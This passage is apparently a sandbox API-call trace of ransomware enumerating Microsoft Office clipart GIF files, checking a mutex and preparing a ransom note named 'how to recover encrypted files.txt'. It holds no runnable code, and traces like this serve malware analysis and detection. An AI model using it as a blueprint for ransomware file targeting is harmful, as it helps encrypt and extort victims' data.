lpMultiByteStr=".gifT\\PUB60COR\\AG00057_.GIF", lpUsedDefaultChar=0x0) returned 4 [0059.455] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29618e00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29618e00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00090_.GIF", cAlternateFileName="")) returned 1 [0059.455] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.455] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.455] GlobalLock (hMem=0x440004) returned 0x550170 [0059.455] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.455] GlobalUnlock (hMem=0x440004) returned 0 [0059.455] GlobalLock (hMem=0x440004) returned 0x550170 [0059.455] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.455] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.455] GlobalUnlock (hMem=0x440004) returned 0 [0059.455] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.455] GlobalUnlock (hMem=0x44000c) returned 0 [0059.455] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.455] CharLowerBuffW (in: lpsz="AG00090_.GIF", cchLength=0xc | out: lpsz="ag00090_.gif") returned 0xc [0059.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0059.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.456] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.456] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.456] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.456] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.456] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0059.456] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF", lpUsedDefaultChar=0x0) returned 63 [0059.456] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.456] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifT\\PUB60COR\\AG00090_.GIF", lpUsedDefaultChar=0x0) returned 4 [0059.456] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ff3400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26ff3400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00092_.GIF", cAlternateFileName="")) returned 1 [0059.456] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.456] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.456] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.456] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.456] GlobalUnlock (hMem=0x44000c) returned 0 [0059.456] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.456] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.456] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.456] GlobalUnlock (hMem=0x44000c) returned 0 [0059.456] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.456] GlobalUnlock (hMem=0x440004) returned 0 [0059.456] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.457] CharLowerBuffW (in: lpsz="AG00092_.GIF", cchLength=0xc | out: lpsz="ag00092_.gif") returned 0xc [0059.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0059.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.457] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0059.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF", lpUsedDefaultChar=0x0) returned 63 [0059.457] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifT\\PUB60COR\\AG00092_.GIF", lpUsedDefaultChar=0x0) returned 4 [0059.457] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ef57700, ftCreationTime.dwHighDateTime=0x1bd4f8b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ef57700, ftLastWriteTime.dwHighDateTime=0x1bd4f8b, nFileSizeHigh=0x0, nFileSizeLow=0x319e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00103_.GIF", cAlternateFileName="")) returned 1 [0059.457] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.457] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.458] GlobalLock (hMem=0x440004) returned 0x550170 [0059.458] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.458] GlobalUnlock (hMem=0x440004) returned 0 [0059.458] GlobalLock (hMem=0x440004) returned 0x550170 [0059.458] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.458] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.458] GlobalUnlock (hMem=0x440004) returned 0 [0059.458] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.458] GlobalUnlock (hMem=0x44000c) returned 0 [0059.458] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.458] CharLowerBuffW (in: lpsz="AG00103_.GIF", cchLength=0xc | out: lpsz="ag00103_.gif") returned 0xc [0059.458] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.458] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0059.458] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.458] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.458] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.458] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.458] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.458] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.458] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.458] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.458] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.458] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.458] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0059.458] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF", lpUsedDefaultChar=0x0) returned 63 [0059.459] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.459] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifT\\PUB60COR\\AG00103_.GIF", lpUsedDefaultChar=0x0) returned 4 [0059.459] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf316a100, ftCreationTime.dwHighDateTime=0x1bd4bcc, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf316a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcc, nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00120_.GIF", cAlternateFileName="")) returned 1 [0059.459] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.459] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.459] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.459] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.459] GlobalUnlock (hMem=0x44000c) returned 0 [0059.459] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.459] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.459] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.459] GlobalUnlock (hMem=0x44000c) returned 0 [0059.459] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.459] GlobalUnlock (hMem=0x440004) returned 0 [0059.459] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.459] CharLowerBuffW (in: lpsz="AG00120_.GIF", cchLength=0xc | out: lpsz="ag00120_.gif") returned 0xc [0059.459] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.459] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0059.460] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.460] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.460] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.460] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.460] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.460] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.460] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.460] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.460] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.460] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.460] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0059.460] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF", lpUsedDefaultChar=0x0) returned 63 [0059.460] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.460] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifT\\PUB60COR\\AG00120_.GIF", lpUsedDefaultChar=0x0) returned 4 [0059.460] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33bee00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33bee00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00126_.GIF", cAlternateFileName="")) returned 1 [0059.460] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.460] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.460] GlobalLock (hMem=0x440004) returned 0x550170 [0059.460] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.460] GlobalUnlock (hMem=0x440004) returned 0 [0059.460] GlobalLock (hMem=0x440004) returned 0x550170 [0059.460] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.460] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.460] GlobalUnlock (hMem=0x440004) returned 0 [0059.461] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.461] GlobalUnlock (hMem=0x44000c) returned 0 [0059.461] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.461] CharLowerBuffW (in: lpsz="AG00126_.GIF", cchLength=0xc | out: lpsz="ag00126_.gif") returned 0xc [0059.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0059.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, 